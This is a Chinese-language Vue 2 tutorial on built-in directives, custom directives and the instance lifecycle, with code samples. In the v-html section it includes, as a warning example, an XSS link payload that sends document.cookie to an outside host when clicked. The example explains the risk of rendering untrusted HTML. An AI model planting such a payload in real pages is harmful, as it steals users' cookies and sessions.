Vue(三)内置指令v-text、html、cloak、once、pre;自定义指令的三种方式、Vue生命周期

文章目录

  • 1. 内置指令
    • 1.1 v-text、v-html指令
    • 1.2 v-cloak指令
    • 1.3 v-once指令
    • 1.4 v-pre指令
  • 2. 自定义指令(directives)
    • 2.1 函数式
    • 2.2 对象式
    • 2.3 注意点
  • 3. 生命周期
    • 3.1 挂载流程
    • 3.2 更新流程
    • 3.3 销毁流程

1. 内置指令

1.1 v-text、v-html指令

v-text与v-html都是向所在的节点渲染文本内容,替换掉节点内的内容。

  • v-text:不能解析标签
  • v-html:能解析标签
<div id="root"><!-- v-text会替换掉节点中的内容 --><div v-text="msg2">{{msg}}</div><!-- 解析标签 --><div v-html="msg3"></div>
</div>
<script>const vm = new Vue({el: "#root",data: {msg: '汉堡很好吃',msg2: '炸鸡很好吃',msg3: '<strong>炸鸡很好吃</strong>'}}) 
</script>

在这里插入图片描述
注:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,不要用在用户提交的内容上!
比如:
v-html渲染了这样一个a链接:

<div v-html="msg4"></div>
msg4: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击链接</a>'

当点击链接时,会把自身的cookie传出去,被别人拿到cookie很危险。(只是举个例子,document.cookie并不会将网站上的所有cookie都拿到)

1.2 v-cloak指令

v-cloak指令没有值,当Vue解析页面时,会将v-cloak删掉。
在这里插入图片描述
应用场景:解决网速慢时,Vue未接管容器,页面上渲染成:{{name}}。

<style>[v-clock] {display: none;}
</style><body><!-- 准备一个容器 --><div id="root"><div v-cloak>{{name}}</div></div>
</body><script>const vm = new Vue({...data: {name: 'tom'}})
</script>

当Vue未接管容器时,div有v-clock属性,style样式通过属性选择器对div进行隐藏,当Vue接管容器后,Vue会将v-clock属性删除,则样式不起作用,该内容呈现在页面上。

总结:
1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

1.3 v-once指令

v-once所在结构的数值不会更新。

    <div id="root"><!-- 初始n设为1 --><h1>初始化的n值是{{n}}</h1><h1>当前的n值是{{n}}</h1><button @click="n++">n+1</button></div>

点击按钮,插值处的n都会变:
在这里插入图片描述
添加v-once指令后:

<h1 v-once>初始化的n值是{{n}}</h1>

在这里插入图片描述
总结:
1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

1.4 v-pre指令

  • 跳过其所在节点的编译过程。
  • 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<div id="root"><h1 v-pre>没有任何语法</h1><!-- 不进行编译,直接原模原样展现在页面上 --><h1 v-pre>有插值{{n}}</h1>
</div>

在这里插入图片描述

2. 自定义指令(directives)

2.1 函数式

需求:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍

<!--模板内容-->
<div id="root"><h2>{{msg}}</h2><h2>n的值为:<span v-text="n"></span></h2><h2>放大10倍后的值为<span v-big="n+1+2"></span></h2><button @click="n++">n+1</button>
</div>

在这里插入图片描述

语法:指令名(element,binding){...}

  • 参数element:真实DOM元素
  • 参数binding:一些绑定信息
//添加一个和data平级的新的配置项directives
directives: {big (element, binding) {console.dir(element);console.log(binding);element.innerText = binding.value*10}
}

在这里插入图片描述

big函数何时被调用:

  • 1.指令与元素成功绑定(一上来的时候)
  • 2.指令所在的模板重新被解析的时候,(msg数据改变,模板重新解析,也会调用这个函数)

2.2 对象式

<body><button id="btn">点击生成一个输入框</button>
</body>
<script type="text/javascript">const btn = document.querySelector('#btn')btn.addEventListener('click', () => {console.log('点击生成输入框');const input = document.createElement('input') // 建立节点input.value = 6 //设置内容值input.style.backgroundColor = 'skyblue' // 设置背景色input.className = 'demo' // 设置类名input.onclick = () => alert(1) // 添加监听事件console.log(input.parentNode);// nulldocument.body.appendChild(input) // 放入页面input.focus() // 获取焦点})
</script>

有一些对元素的操作,要在元素插入页面之后执行才有效。比如对input的父节点进行操作,若在插入页面之前对其父节点进行操作,则无效。

需求:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点

分析:由于获取焦点focus这个函数需要在元素放入页面后执行,所以函数式自定义指令不可行。

对象式指令语法指令名:{...}
配置对象中有常用的3个回调函数:bind inserted update

<input type="text" v-fbind:value="n">
<script>directives: {fbind: {// 指令与元素建立连接时(绑定时)bind (element, binding) {console.log(binding.value);element.value = binding.value},// 指令所在元素被插入页面时inserted (element, binding) {element.focus()},// 指令所在的模板被重新解析时update (element, binding) {element.value = binding.valueelement.focus()}}
</script>

在这里插入图片描述

Vue首先将input元素与v-find指令绑定在一起,在内存中记录这个关联关系,后边再把input元素放入页面中。所以如果在inserted阶段没有任何操作的话,则可采用函数式自定义指令。

2.3 注意点

(1) 指令命名问题
如果是多个单词,需要使用-连接

<h2>放大10倍后值为:<span v-big-number="n"></span></h2>
<script>'big-number' (element, binding) {// binding绑定,将元素与指定绑定在一起,确定该指令在哪个元素上起作用element.innerText = binding.value}
</script>

(2) this指向
无论是函数式自定义指令还是对象式自定义指令,this的指向都是Window

 big (element, binding) {console.log(this) // Window},fbind: {bind (element, binding) {console.log(this); // Window},inserted (element, binding) {console.log(this); // Window},update (element, binding) {console.log(this); // Window}}

(3)全局指令
语法:Vue.directive(指令名,配置对象)Vue.directive(指令名,回调函数)

// 全局指令Vue.directive('big', (element, binding) => {...})Vue.directive('fbind', {...inserted (element, binding) {element.focus()},
})
const vm = new Vue({...directives: {
// 这里的局部自定义指令只能在当前vm中使用'big-number' (element, binding) {...},fbind: {...}}
})

3. 生命周期

在这里插入图片描述

3.1 挂载流程

针对beforeMount,证明一下两点:
证明1:页面呈现的是未经Vue编译的DOM结构
在这里插入图片描述
证明2:所有对DOM的操作,最终都不奏效
在这里插入图片描述
无论这里如何修改,接下来都会将刚才已经生成的虚拟DOM转成真实DOM插入页面中。在进入下一个流程mounted之后,对DOM的操作是有效的

3.2 更新流程

beforeUpdate () {console.log('beforeUpdate,数据是新的,页面是旧的');console.log('n的新值为:', this.n);debugger
}

在这里插入图片描述

3.3 销毁流程

<button @click="bye">点击销毁vm</button>
<script>
// 按钮事件监听方法
bye () {console.log('byebye');// 执行销毁,完全销毁一个实例,解绑vm的全部指令及事件监听(指的是自定义的事件监听方法)this.$destroy()
}...
beforeDestroy () {console.log('销毁之前');// 能调用方法,修改数据。但是不会再触发更新了this.add()
}
</script>

在这里插入图片描述
n值确实加1了,但是n的值没有更新

总结:

  • 销毁后借助Vue开发者工具看不到任何信息
  • 销毁后自定义事件会失效,但原生DOM事件依然有效
  • 一般不会在beforeDestroy里操作数据,因为即便操作数据,也不会再触发更新流程了。
    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/414605.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

EPLAN中部件库的导入和使用方法

EPLAN中部件库的导入和使用方法 如下图所示,点击工具-----部件------管理, 在弹出的窗口中点击附加------导入, 找到自己需要导入的文件,后缀名为EDZ,点击打开, 如下图所示,勾选"更新已有数据集并添加新建数据集",点击确定, 如下图所示,正在导

为什么一些行业刚起步就白热化竞争-例如机器人行业?

部分从事机器人行业的从业者交流就是特别卷。 明明是一个刚起飞的行业为何竞争如此残酷&#xff1f; 抛开降本增效的商业逻辑不谈。 只从一个侧面去观察-供需。 从事脑力劳动的机器人-处理文档 从事体力劳动的机器人-打螺丝 交流 机器人时代什么时候到来&#xff1f; 相似…

编译器基础介绍

随着深度学习的不断发展&#xff0c;AI 模型结构在快速演化&#xff0c;底层计算硬件技术更是层出不穷&#xff0c;对于广大开发者来说不仅要考虑如何在复杂多变的场景下有效的将算力发挥出来&#xff0c;还要应对 AI 框架的持续迭代。AI 编译器就成了应对以上问题广受关注的技…

论文翻译:Scaling Instruction-Finetuned Language Models

Scaling Instruction-Finetuned Language Models https://www.jmlr.org/papers/volume25/23-0870/23-0870.pdf 指令微调语言模型 文章目录 指令微调语言模型摘要1. 引言2. Flan微调2.1 微调数据2.2 微调过程2.3 评估协议 3. 扩展到5400亿参数和1836个任务4. 带有思维链注释的微…

HMI触屏网关-VISION如何与Modbus TCP从机通信

上文&#xff1a;HMI触屏网关-VISION如何与Modbus RTU从机通信-CSDN博客 1. 硬件连接 Modbus TCP协议采用网口通信的方式&#xff0c;因此&#xff0c;只需要保证网关的LAN口IP和Modbus TCP从机的IP在同一网段即可。 Modbus TCP从机参数说明&#xff1a; 2. VISION创建Modbu…

LaViT:这也行,微软提出直接用上一层的注意力权重生成当前层的注意力权重 | CVPR 2024

Less-Attention Vision Transformer利用了在多头自注意力&#xff08;MHSA&#xff09;块中计算的依赖关系&#xff0c;通过重复使用先前MSA块的注意力来绕过注意力计算&#xff0c;还额外增加了一个简单的保持对角性的损失函数&#xff0c;旨在促进注意力矩阵在表示标记之间关…

从0到1搭建用户管理系统

手把手教你搭建前后端框架 新手对于很多成熟框架&#xff0c;不知道如何搭建的&#xff0c;不知道如何实现等等&#xff0c;忙碌之余&#xff0c;写了一篇博客 手把手教你搭建前后端框架源码&#xff0c; springbootmysqlelementuivue 从0到1&#xff0c;搭建springboot框架&am…

出租车4G5G无线车载监控系统解决方案(下)

目录 一、项目概述 1.1 项目背景 1.2 设计原则 1.3 设计目标 1.4 实施意义 二、系统总体设计 2.1建设目标 2.2系统模式 2.3设计思路 2.4设计架构 2.5系统组成 2.6优势分析 2.7设备达到的功能要求 2.8系统组成 三、系统详细设计 3.1 出租车车载监控 3.1.1 系统功能设计 3.2系统前…

如何在退出Qt时保存用户配置

如何在退出Qt时保存用户配置 文章目录 如何在退出Qt时保存用户配置一、简介二、 保存配置数据&#xff08;方法一&#xff09;2.1 项目实现2.2 运行结果 三、保存配置数据&#xff08;方法二&#xff09;3.1 项目实现3.2 运行结果 四、写在最后 ​ 一、简介 在我们使用 Qt 进行…

吹爆上海交大的大模型实战教程!!非常详细收藏我这一篇就够了

各位好&#xff0c;这里是DASOU 今天分享一个上海交大的免费的大模型课程&#xff0c;有相关教程文档和Slides&#xff0c;目前是1.6K星标&#xff0c;还是挺火的 项目动机 《动手学大模型》系列编程实践教程&#xff0c;由上海交通大学2024年春季《人工智能安全技术》课程&…

MySQL集群

一、Mysql 在服务器中的部署方法 1.1源码安装 下载依赖性 dnf install cmake gcc-c openssl-devel ncurses-devel.x86_64 libtirpc-devel-1.3.3-8.el9_4.x86_64.rpm rpcgen.x86_64 解压压缩包并安装 tar zxf mysql-boost-5.7.44.tar.gz cd /root/mysql-5.7.44 cmake \ -DCM…

java写入word表格(poi-tl)

1.导入依赖 <!--poi-tl--> <dependency><groupId>com.deepoove</groupId><artifactId>poi-tl</artifactId><version>1.12.0</version> </dependency>2.代码 自己创建模板。放在&#xff08;resource/file&#xff09;…

非标机械设计项目“规范”笔记

2.自动化设备开发特点与技术文件输出 2.1自动化设备 自动化设备 工业自动化设备类型&#xff1a;标准自动化、非标自动化 载具和治具 焊接治具---汽车行业用的多 压装、压合治具---3C行业 治具种类&#xff1a; 电木&#xff1a;测试治具箱体&#xf…

工作5年,没听过MySQL半同步复制,是我的问题吗?

目录 一、存储高可用二、读写分离三、解决主从复制延迟问题的几种方案1、写操作后的读操作指定发给数据库主服务器2、读从机失败后再读一次主机3、关键业务读写操作全部指向主机&#xff0c;非关键业务采用读写分离4、压缩与批量传输5、优化从库的查询性能6、优化网络延迟7、调…

构建大师:深入理解Linux下的Make和Makefile

引言 在软件开发的世界里&#xff0c;构建过程是一项繁琐而重要的任务。无论是简单的脚本还是复杂的软件项目&#xff0c;都需要一种方式来自动化编译、链接以及测试等过程。在Linux环境下&#xff0c;Make工具和它的配置文件——Makefile&#xff0c;成为了许多开发者构建项目…

RuoYi-Vue 最新 SpringBoot3 前后端分离版本源码分析

RuoYi-Vue 最新 SpringBoot3 前后端分离版本源码分析 RuoYi-Vue 本地环境部署若依菜单类型权限管理SpringSecurity 配置登录接口(认证管理)Authentication 认证token的生成 权限控制 异步任务管理操作日志数据权限 RuoYi-Vue 本地环境部署 直接去 gitee 上拉取最新版本即可&am…

<Rust>egui学习之小部件(三):如何为窗口UI元件设置布局(间隔、水平、垂直排列)?

前言 本专栏是关于Rust的GUI库egui的部件讲解及应用实例分析&#xff0c;主要讲解egui的源代码、部件属性、如何应用。 环境配置 系统&#xff1a;windows 平台&#xff1a;visual studio code 语言&#xff1a;rust 库&#xff1a;egui、eframe 概述 本文是本专栏的第三篇博…

C++和OpenGL实现3D游戏编程【连载7】——文字和汉字的显示

1、本节实现的内容 上一节我们讨论了纹理在二维平面内不规则图形贴图的相关基础操作,本节我们开始了解游戏里文字以及汉字的显示方法。本节课我们将从基本的ASCII字符显示,拓展到中文字符的显示,最后再讲到纹理字符的显示,并对各种文字显示方法的优缺点和使用场景进行分析…

使用Masscan扫描器进行信息搜集

Masscan 是一款极为高效的端口扫描工具&#xff0c;以其卓越的扫描速度和大规模扫描能力而著称。该工具不仅支持 TCP 和 UDP 协议的扫描&#xff0c;还允许用户根据需求灵活指定多个目标和端口。Masscan 通过采用先进的网络性能优化技术&#xff0c;充分利用操作系统的资源和多…

基于北斗+自组网技术的光伏电场人员位置监控系统优化方案

一、方案背景 1.1 用户需求 随着我国经济的快速发展&#xff0c;光伏电场等新能源项目的建设日益增多。然而&#xff0c;这些项目往往位于偏远地区&#xff0c;通信基础设施不完善&#xff0c;导致施工人员在作业过程中难以与外界保持实时联系。特别是在无人区或信号弱的地区…